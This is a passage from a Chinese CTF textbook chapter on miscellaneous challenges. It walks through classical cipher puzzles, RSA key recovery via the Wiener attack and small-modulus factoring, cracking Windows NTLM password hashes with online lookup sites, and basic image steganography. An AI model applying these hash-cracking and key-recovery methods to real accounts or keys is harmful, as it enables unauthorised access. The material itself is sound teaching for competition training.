 使用requests请求同一个URL两次，返回信息的格式完全相同，即每次请求都是一个新的请求。
 
 再看会话对象的方式。可以看出，两次请求的返回信息的格式不同。以上代码与正确的代码相比，少了Set-Cookie，原因是第一次处理请求时没有断开连接，第二次请求是在第一次请求的状态下进行的。
 
 题目要求我们在2秒内输入答案，而会话对象的方式可以让请求保持活动状态（持久连接），即同一会话中的请求都会自动复用恰当的连接。但是，直接使用requests无法实现这一点。这就是“Time expired”错误的成因。
 

  第5章　安全杂项类赛题


  “MISC”是“Miscellaneous”的前四个字母，可以理解为杂项、混合体、大杂烩。在CTF比赛中，“MISC”表示“安全杂项”，题目涉及信息隐写、密码学、流量分析、电子取证、数据分析、大数据统计等，主要考查选手综合应用安全基础知识的能力。


  前面多次提到，CTF赛题会将多个知识点放在一道题中。此特点在安全杂项类赛题中的体现尤为突出。

 
 5.1　密码学
 
 本节将介绍常见的密码学题目，从经典密码学算法到现代RSA算法均有涉及。
 
 题目1　摩斯密码
 
 题目概况
 
 知彼知己方能百战不殆。
 
 我方截获了一条敌军的命令密文，具体如下。你能把它解密，做到知己知彼吗？
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 解题思路
 
 题目给出的密文都是数字。如果读者平时做过较多的题目，就会知道这是ASCII码的十六进制值。将这些值转换成ASCII码有两种方式，列举如下。
 
 • 因为题目给出的十六进制值只有3个数字，所以，直接查询ASCII码字符对照表，找出这3个数字所对应的ASCII字符即可解题。查表后，得到这串数字所对应的ASCII字符“FE2E2E2FE2EFEF2EFE2”。
 
 • 借助字符转换工具解题。例如，使用Converter将题目给出的数字复制并粘贴到输入位置（原始值），然后单击“Hex to Text”按钮，如图5-1所示，也可以得到“FE2E2E2FE2EFEF2EFE2”这串字符。
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  图5-1
 
 
 
 像“FE2E2E2FE2EFEF2EFE2”这样的字符不可能是最终的答案。根据分析可知，这串字符中只有两个字母和一个数字，数字可能是分隔符，两个字母则可能用于表达意义，这样就会联想到摩斯密码。不管正确与否，我们都可以尝试一下。于是，我们又获得了两种思路，列举如下。
 
 • 找一个在线的摩斯密码转换工具，将以上字符中的“F”替换为“.”、“E”换为“”-、“2”换为空格。如果无法识别，就将“F”和“E”对调。最终，发现“F”对应的是“.”。因此，解码后的明文为“a t t a c k”，也就是本题的flag。
 
 • 将字母转换为点和横的形式有些麻烦，使用摩尔斯电码翻译加密解密器可以免除手工转换工作，如图5-2所示。
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  图5-2
 
 
 
 相关知识点
 
 摩斯密码（Morse Code，也译为“摩尔斯电码”）是一种时通时断的信号代码，它通过不同的排列顺序来表达不同的英文字母、数字和标点符号。
 
 摩尔斯电码是早期的一种数字化通信形式。不同于现代只使用0和1两种状态的二进制代码，摩尔斯电码包括点、横、点和横之间的停顿、字符之间的短停顿（在点和横之间）、词之间的中停顿、句子之间的长停顿。
 
 这种古老的、交错的电码是为了配合报务员的接听方式而设计的。不像现在可以从扬声器或耳机中听到电码的声音，从前人们要借助电报机上的机械发声装置才能听到“嗒”的声音，甚至需要通过发送电键来收听电码的声音（电键在不发送信号时被设置为被动模式，负责发声）。
 
 摩尔斯电码由两种基本信号和不同的间隔时间组成。短促的点信号读“滴”（Di），保持一定时间的长信号读“嗒”（Da）。间隔时间：滴，1t；嗒，3t；滴嗒之间，1t；字符之间，3t；字之间，7t。
 
 摩尔斯电码的初衷是方便无线电收发，但在人们想要将其可视化之后，就需要用字符来替代“滴”“嗒”这两种信号，于是，在计算机可打印字符中选择了“·”和“-”来分别表示短信号和长信号。这种表示是约定俗成的，不是正式的规范。不喜欢使用这两种符号也没关系，用A表示“滴”、用B表示“嗒”也是可以的，只要能按照摩斯密码表翻译成明文即可。摩斯密码表，如图5-3所示。
 
 曾有一道题目，提供了一个WAV文件，用音频软件打开后可以清楚地听到长短不同的“嘀”“嗒”声，解题时首先应该考虑摩斯密码。但是，由于音频的播放速度很快，而选手通常没有经过专门的训练，所以很难一边听音频一边将电码记录下来。为了做出一道题而去训练这种技能有些得不偿失——“懒”人自有“懒”方法。
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  图5-3
 
 
 
 使用音频处理软件CoolEdit将WAV文件打开，如图5-4所示，已经能够清楚地看到长短音和间隔了。对照图5-3，将其翻译成摩斯密码，本题为“.- .-.. .--. .... .- .-.. .- -...”，然后放入摩斯密码翻译软件，就能得到最终的答案“alphalab”。
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  图5-4
 
 
 
 小结
 
 常见的摩斯密码是由点和横组成的。在CTF比赛中，出题者通常会改变其“样貌”，例如将点和横改写成其他字符。此外，也可能使用真实的音频来出题。
 
 题目2　恺撒密码
 
 题目概况
 
 题目给出了一个字符串“DXR BL TEIATETU”，需要选手将其解密。
 
 解题思路
 
 因为题目使用恺撒密码进行加密，所以我们只要想办法解密即可。下面介绍3种解密方法。
 
 • 对照字母表，将题目给出的字母按照偏移1～25列出所有组合。首先，列出相对原字符偏移1位的组合：D向后偏移1位为E，X向后偏移1位为Y，依此类推。当原字符串中的字符全部向后偏移1位时，得到字符串“EYS CM UFJBUFUV”。可以看出，这应该不是最终结果。继续列出其他字符串，得出最终答案。
 
 • 通过代码实现以上方法，主要思路是：循环25次，也就是在原字符串的基础上进行偏移操作（最大偏移量为25）。在此过程中，需要注意是否偏移到了“z”和“Z”。如果偏移到了最后一个字母，就要循环回“a”和“A”。如果字符串中有空格，则需要将其忽略。
 
 • 使用已有的工具进行解密，例如JPocketKnife。将原字符串复制到JPocketKnife的文本框中，选择“Ascii”→“Decrypt”→“Caser”选项，会将所有的偏移情况全都列出来，如图5-5所示。然后，从中找出一个有意义的组合即可。字符串“KEY IS ALPHALAB”是有意义的，符合CTF比赛中flag的规范——答案就是它了。
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  图5-5
 
 
 
 相关知识点
 
 据传，恺撒密码是古罗马的恺撒大帝为了保护重要军事情报而设计的加密系统。由于恺撒是率先使用加密信函的古代将领之一，所以将这种加密方法称为恺撒密码。
 
 在密码学中，恺撒密码是最简单且最广为人知的加密技术。恺撒密码采用替换加密技术，将明文中的所有字母在字母表上按照一个固定的数字向后（或向前）进行偏移，形成密文。例如，在偏移3位时，所有的字母A将变成字母D，所有的字母B将变成字母E，依此类推。
 
 假如有指令“RETURN TO ROME”，用恺撒密码加密后就可能变成“UHWXUA WRURPH”。因为加密后的内容从字面上看不出任何实际意义，所以，即使指令被敌方截获，也不会轻易泄密。
 
 但是，和所有利用字母表进行替换的加密技术一样，恺撒密码很容易被破解，而且在实际应用中通信安全也无法得到保证。因此，恺撒密码通常被作为其他复杂加密方法的一个步骤使用。
 
 小结
 
 因为恺撒密码只能进行字母的偏移，所以，恺撒密码加密的字符串只能是字母（可以是大写字母，也可以是小写字母）。
 
 题目3　栅栏密码
 
 题目概况
 
 题目提供了一串字符“fplhaagl{aabl}”，但没有说明所使用的加密算法。
 
 解题思路
 
 遇到这种由无序的字母组成的字符串，我们可能会马上想到恺撒密码。然而，仅凭题目给出的字符串是无法判断其加密算法的，所以还应该考虑栅栏密码。下面针对栅栏密码加密，给出两种解题思路。
 
 • 以手工方式进行解密。从2栏开始尝试。当尝试到7栏时，字符串变得有意义了，为“flag{alphalab}”。
 
 • 借助工具进行解密。在此推荐工具“栅栏密码加解密”。如图5-6所示，将加密后的密码输入“明文”文本框，然后在“栏数”下拉列表框中设置解密的栏数，一般从2栏开始，在此设置为“7”。
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  图5-6
 
 
 
 相关知识点
 
 所谓栅栏密码，就是把要加密的明文以N个为一组，把每组的第一个字符连起来，形成一段无规律的字符。不过，栅栏密码本身有一个潜规则，就是组成栅栏的字母不会太多（一般不超过30个，也就是说，只能加密一两句话）。
 
 2栏加密法就是先把需要加密的文件按照一上一下的形式写出来，再把第二行文字排到第一行后面。其破译方法是，把文字从中间分开，排成两行，然后分别插入，示例如下。
 
 
  [image: ]
 
 
 栅栏加密一般配合其他加密方法使用。栅栏密码的栏数不是固定的，可以从2栏开始增加，但其加密和解密的方法是相同的。
 
 小结
 
 在CTF比赛中，不太可能直接给出一个经过栅栏加密的无序字符串。栅栏加密一般会作为解题的中间步骤。所以，在见到无序的字母组合时，要考虑其是否使用了栅栏加密，并且要多尝试几个栏数（尝试的最大栏数达到字符串数的一半就够了）。
 
 题目4　RSA算法
 
 题目概述
 
 本题来自BCTF warmup。题目提供了一个字符串和一个以“.xz”为后缀的文件。题目提供的字符串如图5-7所示，已经将此字符串保存到c.txt文件中。
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  图5-7
 
 
 
 解题思路
 
 题目给出了一个以“.xz”为后缀的文件。通过上网搜索可以了解到，这是利用xz-utils压缩的文件。xz-utils是为POSIX平台开发的一款具有高压缩率的工具，Linux操作系统通常自带此工具（如果没有，可以自行安装）。
 
 执行“xz -d warmup-c6aa398e4f3e72bc2ea2742ae528ed79.pub.xz”命令将文件解压，得到一个公钥文件，如图5-8所示。
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  图5-8
 
 
 
 然后，使用OpenSSL得到此公钥中的n与e的值，命令如下。
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 -pubin参数表示需要一个有公钥的文件。-text参数用于将key的值在屏幕上打印出来。-modulus参数用于在屏幕上打印n的值。-in参数后接输入的文件。
 
 执行上述命令后，可以得到Modulus与Exponent的值，如图5-9所示。其中，Modulus就是前面所说的n，Exponent就是前面所说的e。
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  图5-9
 
 
 
 可以看出，这个值非常大，直接进行因式分解有点困难。有一种针对大值n和e的工具RSA-Wiener-Attack（下载地址见链接5-1），使用n和e就可以将d计算出来。
 
 下载RSAwienerHacker.py程序，然后对其进行修改，使其使用题目给出的n和e的值。修改后的代码如下。
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 运行程序，可以得到d的值，如图5-10所示。
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  图5-10
 
 
 
 有了私钥，就可以直接对题目给出的密文c进行解密，具体如下。
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 输出的内容如下。
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 相关知识点
 
 本题考察了RSA算法。RSA算法是一种典型的非对称加密算法。什么是非对称加密算法呢？
 
 非对称加密算法是相对于对称加密算法而言的。非对称加密算法需要两个密钥，分别是公开密钥（Public Key）和私有密钥（Private Key）。公开密钥和私有密钥是一对，如果用公开密钥对数据进行加密，就只能用对应的私有密钥进行解密；如果用私有密钥对数据进行加密，就只能用对应的公开密钥进行解密。因为加密和解密使用的是两个不同的密钥，所以这种算法叫作非对称加密算法。
 
 RSA算法的原理如下。
 
 • 选取两个大素数p和q。为了获得最高的安全性，这两个数的长度最好一样（本书不对RSA算法涉及的数论知识进行过多说明，感兴趣的读者请阅读相关书籍）。
 
 • 计算n = p × q。n称为模。
 
 • 计算φ(n)= (p-1)× (q-1)。使用欧拉函数（φ）求任意给定的正整数n，计算在小于等于n的正整数中有多少个与n构成互质关系。
 
 • 选取加密密钥e，其与φ(n)互素。
 
 • 使用扩展欧几里得算法，求出e模φ(n)的模反元素d，即ed ≡ 1 (mod φ(n))。所谓模反元素，就是指整数d可以使ed被φ(n)除的余数为1。
 
 • e和n构成公钥，n和d构成私钥。p和q可以被丢弃，但必须是保密的（因为如果有人获取了p和q，就相当于算法被攻破了）。
 
 • 在加密消息m时，应将其作为一个大整数，分成比n小的数据分组，求出c（即加密信息）：c ≡ m**e mod n。
 
 • 在对密文c进行解密时，取每个加密后的分组c并计算m：m ≡ c**d mod n。
 
 RSA算法的要点总结如下。
 
 • 公钥：n为两个素数p和q的乘积；e为与 (p-1)(q-1)互素。
 
 • 私钥：n为两个素数p和q的乘积；e为模φ(n)的模反元素d。
 
 • 加密：c ≡ m**e mod n。
 
 • 解密：m ≡ c**d mod n。
 
 下面给出一道n的值过小的题目。
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 题目给出了公钥{920139713,19}，其中n的值比较小，可以通过因数分解得到d的值。
 
 推荐使用RSA Tool 2。题目给出的n为十进制数，在该工具的“Number Base”下拉列表中选择“10”，然后将n的值填入“Modulus (N)”输入框，如图5-11所示。由于该工具默认e的值为十六进制数，所以需要将题目给出的e的值19转换为十六进制数0x13。
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  图5-11
 
 
 
 单击“Factor N”按钮分解n，得到p和q的值。然后，单击“Calc. D”按钮，就能求出d的值了，如图5-12所示。
 
 有了d的值，就可以解密密文了。下面是用于解密密文的Python代码。
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  图5-12
 
 
 
 运行程序，得到结果“AlphaLab”。有一点需要说明：因为要先求数值的幂，再取n的模，而在求数值的幂时，如果两个数值都非常大，就会耗费大量时间，所以，可以使用一种快速幂取模的方法，代码如下（具体原理请读者自行上网搜索）。
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 小结
 
 回顾前面介绍的密钥生成步骤，一共出现了6个值，即p、q、n、φ(n)、e、d。在这6个值中，公钥使用了2个（n和e），其余4个都是非公开的。其中，最重要的是d，因为n和d组成了私钥，一旦d泄露，就等于私钥泄露了。那么，有没有可能在已知n和e的情况下推导出d呢？有如下3种情况。
 
 • ed ≡ 1 (mod φ(n))：只有在知道e和φ(n)的情况下，才能算出d。
 
 • φ(n)= (p-1)(q-1)：只有在知道p和q 的情况下，才能算出φ(n)。
 
 • n = pq：只有对n进行因数分解，才能算出p和q。
 
 如果n可以被因数分解，那么d就可以被算出来（就像前面提到的n值过小的题目），而这意味着私钥能够被破解。可是，大整数的因数分解是一件非常困难的事情（目前除了暴力破解，还没有发现其他有效方法）。维基百科这样写道：“对极大整数做因数分解的难度决定了RSA算法的可靠性。换言之，对一极大整数做因数分解愈困难，RSA算法愈可靠。假如有人找到一种快速因数分解的算法，那么RSA的可靠性就会极度下降。但找到这样的算法的可能性是非常小的。今天只有短的RSA密钥才可能被暴力破解。到2008年为止，世界上还没有任何可靠的攻击RSA算法的方式。只要密钥长度足够长，用RSA加密的信息实际上是不能被解破的。”
 
 在RSA攻击中，还有一种共模攻击。共模攻击的前提是，RSA体系在生成密钥的过程中使用了相同的模数n。在CTF比赛中，题目会给出n、e和加密后的数值，但e和加密后的数值会给出多个。如果遇到这样的题目，就不要试图爆破d了，因为出题者既然想考察共模攻击这个知识点，d的值就不会被轻易地解出。
 
 题目5　NTLM密码
 
 题目概述
 
 题目要求选手从给定的字符串中解密用户名和密码。
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 解题思路
 
 接触过Windows登录密码格式的读者一下子就能看出，题目给出的是Windows操作系统中的散列（Hash）密码。如果没有接触过也没关系，网上很容易找到相关资料。
 
 既然知道了题目的考点，接下来就是想办法解题了。
 
 Windows的密码算法使用的是单向散列算法。例如，密码是A，根据算法可以得到散列值B，但无法从B推导出A。通常使用的破解方法是：准备一个常用密码字典，将字典中的条目全部转换为Windows密码散列值，将得到的散列值和通过常用密码生成的散列值进行比较，如果相同，就能得到正确的密码。不过，我们自己准备的常用密码字典内容再丰富，也是有限的，而使用个人计算机生成密码，既耗时，又“占地儿”。网上有一些几乎包含所有可能密码的字典，其中就包括密码散列值。我们可以找到这样的文件，将其下载到本地，然后从中检索，从而获得我们想要的散列值。
 
 然而，我们并不需要频繁使用这些非常大的文件，为了偶尔使用将其放置在个人计算机中实在划不来。针对这个问题，出现了很多散列值查询网站，有些是免费的，有些是收费的。我们在解题时其实只需要一个查询站点。在这里推荐一个国外的破解网站hashkiller（见链接5-2），它不仅提供了NTLM散列值的查询功能，还提供了SHA1、MD5等的破解功能。
 
 打开hashkiller网站，输入本题的NTLM-HASH值“C6002D00F57F9F399B6263D714AF 8C3A”，很快就能得到明文密码，即最终答案“hacker521”，如图5-13所示。
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  图5-13
 
 
 
 相关知识点
 
 要想破解密码，首先要了解相关的背景知识。
 
 简单介绍一下Windows系统密码的加密算法。在早期，SMB协议用于在网上传输明文口令。然后，出现了LAN Manager Challenge/Response验证机制（LM），其非常简单，所以很容易被破解。后来，微软提出了Windows NT挑战/响应验证机制（NTLM）。
 
 在Windows中，经过加密的口令称为Hash。Windows的系统Hash在默认情况下由两部分组成：第一部分是LM-HASH；第二部分是NTLM-HASH。Windows中的Hash密码格式，示例如下。
 
 • Administrator：500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23 AA724774CE6CC:::。
 
 • 用户名：Administrator。
 
 • RID：500。
 
 • LM-HASH：C8825DB10F2590EAAAD3B435B51404EE。
 
 • NT-HASH：683020925C5D8569C23AA724774CE6CC。
 
 （1）如何通过明文口令生成LM-HASH
 
 假设明文口令是“Welcome”，首先将其全部转换成大写，即“WELCOME”，再进行如下变换。
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 把“WELCOME”转换成十六进制形式，在明文口令不足14字节的情况下，在后面添加0x00来补足14字节。
 
 然后，将14字节的口令切割成两组7字节的数据，分别经str_to_key()函数处理，得到两组8字节的数据，具体如下。
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 这两组8字节的数据将作为DESKEY对魔术字符串“KGS!@#$%”进行标准的DES加密，具体如下。
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 将加密后的两组数据简单拼接，就得到了最终的LM-HASH。“Welcome”的LM HASH为“C23413A8A1E7665FAAD3B435B51404EE”。
 
 显然，明文口令在一开始就全部被转换成大写，而这会导致多个明文口令对应于一个LM-HASH。反过来，在穷举LM-HASH时，得到的可能不是原始口令（因为大小写不确定）。仔细分析SMB身份验证过程可知，即使此时得到的不是原始口令（大小写可能有差别），也可以通过SMB身份验证。因此，可以说，这种将口令转换成大写的行为降低了穷举的难度。
 
 明文口令的另一个弱点是，当口令小于8字节时，LM-HASH的后8字节的计算过程总是“00000000000000 -str_to_key()-> 0000000000000000”，而这将降低穷举的破解难度。
 
 （2）如何通过明文口令生成NTLM-HASH
 
 IBM设计的LM-HASH算法存在一些弱点。微软在保持向后兼容的同时，提出了自己的挑战响应机制——NTLM-HASH应运而生。
 
 假设明文口令是“123456”，首先将其转换成Unicode字符串。与LM-HASH算法不同，NTLM-HASH算法不需要通过在结尾添加“0x00”来补足14字节（即“"123456" ->310032003300340035003600”），而是对获取的Unicode字符串进行标准MD4单向散列。无论原始数据是多少字节，MD4固定产生128位的散列值（16字节），具体如下。
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 通过以上计算，就能得到最终的NTLM-HASH了。“123456”的NTLM-HASH为“32 ED87BDB5FDC5E9CBA88547376818D4”。
 
 NTLM-HASH算法与LM-HASH算法相比，明文口令大小写敏感，摆脱了魔术字符串“KGS!@#$%”，但无法根据NTLM-HASH判断原始明文口令是否小于8字节。
 
 LM只能处理长度小于等于14个字符的密码散列值。如果密码长度大于14个字符，那么Windows会自动使用NTLM对其进行加密。Windows XP、Windows 2000和Windows Server 2003操作系统默认使用LM进行加密（也可以手动设置成NTLM），后续版本的Windows操作系统禁用了LM，默认使用NTLM进行加密。因为使用LM方式加密往往会存在一个对应的NTLM散列值（如果密码长度小于等于14个字符，系统会同时对这个密码使用NTLM加密并存储NTLM的散列值），所以，不要在LM生成的彩虹表中寻找NTLM的散列值——反过来是可以的。
 
 小结
 
 CTF比赛中的NTLM题目，通常不会将密码设置得很复杂，所以，通过公开查询网站一般都可以得到答案。
 
 有一点需要注意：大部分提供NTLM-HASH查询功能的站点都会提供MD5查询功能，很多题目会利用明文不复杂的MD5值作为中间输出，让选手破解此MD5值（作为最终的flag）。
 
 题目6　键盘图案密码
 
 题目概述
 
 本题给出的字母组合为：4esz4rfvsdf；9ijnm；7ygv789ijhg；uhbhjkokm；4esz4rfvsdf。
 
 解题思路
 
 键盘图案题目需要选手根据题目给出的字母组合，在键盘上按照字母的顺序将其连接起来，得到最终的答案。
 
 针对本题，在键盘上对第一个字母组合“4esz4rfvsdf”进行连线，如图5-14所示。
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  图5-14
 
 
 
 然后，使用这种方法对其他字母组合进行连线，可以得到最终答案“ALPHA”。
 
 相关知识点
 
 （1）手机9键键盘
 
 手机键盘加密是一种简单的替换密码方法。手机9键键盘的每一个数字键上有3～4个字母。可以使用两位数字表示字母，“21”表示a、“22”表示b、“94”表示z，依此类推。例如，“ru”用手机9键键盘表示就是“7382”。
 
 手机键盘加密有一个特点：第一项数字为2～9，第二项数字为1～4。
 
 题目给出的字符串为“2153714221532122”。将手机输入法调成9键模式，如图5-15所示。
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  图5-15
 
 
 
 将题目给出的数字按每2个一组分开，即“21 53 71 42 21 53 21 22”。第一组数字为“21”，其中：第一个数字“2”代表9键键盘的“2”键，第二个数字“1”代表“2”键的第一个字母a。依此类推，最终答案为“alphalab”。
 
 （2）全键盘坐标加密
 
 全键盘坐标加密是指利用键盘上的字母行和数字行进行加密，俗称“坐标法”或“棋盘法”，如图5-16所示。
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  图5-16
 
 
 
 利用全键盘中的数字键，人为将字母区划分为三行。例如，“bye”用全键盘坐标表示就是“536131”。
 
 题目给出字符串“5191335142”，根据以上划分方式将数字两两分组，然后以第一个数字为列、以第二个数字为行，到图5-16中查找，可以得到最终答案“topctf”。
 
 题目7　ROT13
 
 题目概述
 
 本题是Entry-HCTF中的一道题目，题目内容如下。
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 解题思路
 
 题目明确给出了“13”这个数字，这提示了此题目的解法。
 
 有一种加密方法叫作ROT13，所以，我们先找一个工具尝试解密。因为ROT13不是很复杂，所以我们也可以根据其原理编写一个小工具来解密。网上有很多可以解密ROT13的工具，推荐使用mxcz（见链接5-3）。将题目给出的字符串复制到mxcz中，解密后的字符串为“57E9F980EABF49973F757CDB9F80D36C”。
 
 字符串的意思我们还是看不懂。此时，统计字符串的长度，也许会有意外发现。笔者采用的方法是：将要统计长度的字符串复制到Notepad++中，然后将复制的内容选中，这时在Notepad++的窗口下方就会显示字符统计数据了。本题中的字符串长度为32。
 
 “32”这个长度，如果是二进制数，可以联想到4字节。但是，本题给出的内容，既有数字，也有字母，因此，考虑可能使用了MD5加密。不要为自己所想是否正确而犹豫，重要的是尝试。将经过ROT13解密的字符串放入hashkiller的MD5解密模块，得到最终答案“Qoobee”，如图5-17所示。
 
  
  [image: ] 
  图5-17
 
 
 
 相关知识点
 
 ROT13（rotateby13places，回转13位，也称作ROT-13）是一种简易的置换暗码。它是一种用于在网上隐藏妙句、谜题答案等信息的工具。
 
 将ROT13套用到一段文字中，只需要检查原字母顺序并用13位之后的对应字母取代原字母，如果轮转到字母表的最后一个字母，则绕回字母表的开头。A换成N、B换成O，依此类推，直到M换成Z，然后序列反转——N换成A，O换成B……Z换成M，如图5-18所示。
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  图5-18
 
 
 
 在这里，只有出现在英文字母里的字元受影响，数字、符号、空白字元及其他字元都不受影响。因为英文字母表里只有26个字母，所以一个字符串经过两次ROT13加密就会被还原。
 
 对任意字元x，有ROT13(ROT13(x))=ROT26(x)=x。也就是说，连续执行两次ROT13函数就会返回原始字符。在数学领域，这种现象称为对合（Involution）；在密码学领域，这种现象称为对等加密（Reciprocalcipher）。
 
 小结
 
 前面介绍过恺撒密码。ROT13是恺撒密码的一种变体，理解起来不是很难。但是，如果在CTF比赛中出现ROT13题目且没有提示，还是会让人一头雾水。恺撒密码中的字符都是字母，而ROT13字符串中可以有数字和符号等，只是ROT13不对除字母外的字符进行操作而已。因此，在遇到既包含数字又包含字母的字符串时，也要考虑是否为ROT13。
 
 其他密码学赛题
 
 JavaScript/VBScript加密
 
 题目给出了一个字符串“#@~^GgAAAA==@#@&ls□DD`JzVa4ldl8J*i@#@&CwYAAA==^#~@”。这个字符串是由Script Encoder加密的。经过Script Encoder加密的字符串大都是可以运行的代码，但不排除仅为娱乐而加密的情况。下面提供两种解密方法。
 
 第一种方法是使用解密工具。到网上搜索关键字“VBScript解密”或“JavaScript解密”，能找到很多在线工具，笔者使用的是dheart（见链接5-4）。访问dheart，输入题目给出的字符串，然后单击“解密”按钮，如图5-19所示。
 
 第二种方法是根据原理来运行代码。经过加密的VBScript代码，必须用SCRIPT LANGUAGE=JSCRIPT.ENCODE或VBSCRIPT.ENCODE来运行。将题目给出的字符串放到“<script language=jscript.encode> </script>”中。由于VB脚本只能在IE中运行，所以，可以新建一个HTML文档，输入刚刚生成的代码，然后用IE加载该文档，如图5-20所示。
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  图5-19
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  图5-20
 
 
 
 我们已经了解了如何解密加密后的VBScript代码。以后，在遇到以“#@~^”开头的字符串时，可以考虑其是否为VBScript加密代码。
 
 下面讨论一下如何进行加密。这时就要使用微软提供的工具screnc了。screnc是一个运行在DOS PROMAPT中的命令工具，它使脚本设计者可以对最终的脚本进行编码，从而使Web主机和Web客户无法查看或修改程序的源代码。需要注意的是，加密后的程序要求用户浏览器版本必须在Internet Explorer 5.0以上。脚本加密程序只对脚本代码进行加密，文件的其他内容不会被改变且会以普通文本的形式显示。
 
 由于VB脚本现在已经很少使用了，所以微软已不再花费精力在其上面。虽然screnc可以在高版本的Windows操作系统中安装，但是，要想使用screnc，还需要Script Engine 5.0及以上版本的支持。Script Engine不能在高版本的Windows操作系统中安装，在Windows XP系统中倒是可以正常运行，所以，建议在Windows XP中对VBScript脚本进行加密。Script Engine有很多命令格式，读者可自行查看其帮助文档。
 
 新建一个HTML文档，将其命名为test.html，并将以下内容写入。
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 将screnc的路径添加到系统变量中，或者将此HTML文件放到screnc的安装路径中。启动命令行环境，将路径切换到screnc的安装路径，执行“screnc test.html encode.html”命令，就会在此目录中生成加密后的encode.html文件（文件内容与介绍第二种解密方法时输入的相同）。
 
 培根密码
 
 培根密码是根据二进制数的本质设计的，没有使用常见的0和1来表示，而是使用a和b来表示，如图5-21所示。
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  图5-21
 
 
 
 在出题时，如果直接给出由a和b组成的字符串，那么很容易就能被选手看出是培根密码。因此，出题人会使用其他字符或符号来代替a和b。
 
 当铺密码
 
 题目内容为“王夫 井工 夫口 由中人 井中 夫夫 由中大”，统计出来就是“67 84 70 123 82 77 125”。将这些数字转换为ASCII码，就是“CTF{RM}”，如图5-22所示。
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  图5-22
 
 
 
 猪圈密码
 
 猪圈密码是一种外形古怪的密码，已经使用了数百年，没有人明确知道它是何时被发明的。早在1700年，共济会就常常使用猪圈密码来保护一些私密记录及进行通信，所以其也称为“共济会密码”。如图5-23所示，猪圈密码用不完整的框和点代替字母。
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  图5-23
 
 
 
 使用图5-23中的关键字，明文“X MARKS THE SPOT”的加密结果如图5-24所示。
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  图5-24
 
 
 
 六点盲文
 
 六点盲文的发明者是路易·布莱尔。他于1809年1月4日出生在法国一个贫苦的马具匠家庭，3岁时因摆弄工具不慎失手，刺伤了一只眼睛，不久，另一只眼睛也被感染，导致双目失明。后来，布莱尔偶然在一位退休军官那里听说了一种“夜间书写”法语符号，年仅12岁的他萌生了一个想法：以凸点代替线条，创造新的盲文。
 
 1824年，刚满15周岁的布莱尔从人的体形中得到启发。他想：每个肢体健全的人都有双肩、双臂和双膝，如果在这些部位各放置一个凸点，就能构成6个凸点——多么有意思的6个凸点啊！经过精心设计，一套以不同方式排列且有规律可循的法语盲文字母方案问世了。6个凸点，加上空白，一共有64种变化。
 
 不久，英语盲文字母也被创造出来了，如图5-25所示。
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  图5-25
 
 
 
 QWE密码
 
 QWE密码的原理，就是用专门设计的字母表替换键盘上的原始字符，具体加密方式如图5-26所示。
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  图5-26
 
 
 
 在图5-26中，每个按键右上角的正体字母为明码（即我们拿到的密码），左下角的斜体字母就是对应的密码，加密方法就是按照键盘上的字母将明码替换为密码。
 
 用直观的形式展示加密和解密的对应关系，如图5-27所示。
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  图5-27
 
 
 
 
 5.2　隐写
 
 隐写术是指关于信息隐藏的技巧与科学，即不让计划接收者之外的任何人知道信息传递事件（而不只是信息的内容）。隐写术的英文单词“Steganography”来源于约翰尼斯·特里特米乌斯的一本看上去与“黑魔法”有关的书，实际上，那是一本讲解密码学与隐写术的书——Steganographia。隐写术也可以用作数字水印，将一条信息（往往只是一个标识符）隐藏到一幅图像中，使其来源能够被跟踪或校验。
 
 近年来，隐写术成为信息安全领域研究的焦点。每个Web站点都依赖多媒体，例如音频、视频和图像。使用隐写术，可以将秘密信息嵌入数字媒介而不影响其载体的质量，使第三方不仅觉察不到秘密信息的存在，更不知道存在秘密信息。这样，密钥、数字签名和私密信息都可以在开放的环境（例如Internet或内联网）中安全地传送。
 
 在CTF比赛中，最常见的隐写题目一般出现在图片中，如图5-28所示。
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  图5-28
 
 
 
 这是一幅JPG格式的图片。使用Windows二进制工具WinHex将其打开，向下查阅，可以找到一个字符串，如图5-29所示。这个字符串就是本题的flag。
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  图5-29
 
 
 
 这可能是最简单的隐写题目了。如果题目给出的图片的数据非常多，那么人工寻找信息可能不太现实。此时，可以在打开文件后利用WinHex自带的搜索功能查找“flag”或其他与比赛相关的关键字。总之，在拿到隐写题目后，都可以先用WinHex打开文件，查看其内容。题目做得多了，就可以根据经验发现文件中隐藏的其他信息。
 
 因为隐写题目是包含在CTF安全杂项类赛题中的，所以，以上这种可以直接拿到flag的题目不太可能出现。由于隐写大都伴随其他考点出现，很少单独考察，选手在解题时很容易踩“坑”，所以，我们一定要让脑子多转几个弯，拿到最终的flag。
 
 题目1　通过图片传递隐藏信息
 
 题目概述
 
 题目给出了一幅图片，要求选手通过这幅图片找出隐藏的信息，如图5-30所示。
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  图5-30
 
 
 
 解题思路
 
 打开图片，看到的内容没有什么意义。使用binwalk等工具查看，发现这不是一幅由多个文件合成的图片，而只是一幅简简单单的真实图片。
 
 由此我们可以猜测，实际数据可能藏在图片的RGB数据中。每个像素的RGB数据中可以隐藏3字节的数据。RGB数据的格式为(d, d, d)，d为0～255的整数，每个像素可以存储3个整数，将其转换为十六进制值之后合并在一起，就形成了完整的原始数据。使用PIL中的Image库，取出每个像素的RGB数据，将其转换为十六进制值，然后将所有十六进制值合并，具体如下，如图5-31所示。
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  图5-31
 
 
 
 将得到的字符串写入文件并保存，然后修改文件后缀，即可使用图片查看工具打开这幅带有flag的图片。
 
 如果要提高本题的难度，出题者可能会对RGB数据进行偏移处理。
 
 小结
 
 在拿到图片隐写题目后，可以先用binwalk之类的工具查看是否有隐藏文件，再考虑隐去某些颜色后是否能显示flag。如果这些都不成立，且图片是没有意义的，就要考虑出题者是否将数据藏到了像素的颜色数据中。
 
 题目2　文件为什么打不开
 
 题目概述
 
 题目描述为：“小明对小红早就有好感了。小红给小明发了一个文件，希望小明可以帮助她解出来。你能帮助小明吗？”
 
 题目给出了一个没有后缀的文件steg。
 
 解题思路
 
 由于Windows操作系统无法识别题目给出的文件，所以，使用WinHex将文件打开，如图5-32所示。
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  图5-32
 
 
 
 正常文件的前几个字节都是独特的、标志性的，可以被操作系统识别，举例如下。
 
 • Windows中的可执行PE文件以“4D 5A”开头。
 
 • BMP文件以“42 4D”开头。
 
 • RAR文件以“52 61 72”开头。
 
 • PDF文件以“25 50 44”开头。
 
 以上开头是固定的，在后面可能还有可供识别的数据。我们现在只关心文件开头的几位。如图5-32所示，文件是以“03 04”开头的，所以暂且认为文件开头用于标识类型的数据被移除了，需要我们通过搜索引擎获取更多信息。
 
 常见文件头标识列表，如表5-1所示。
 
  
  表5-1
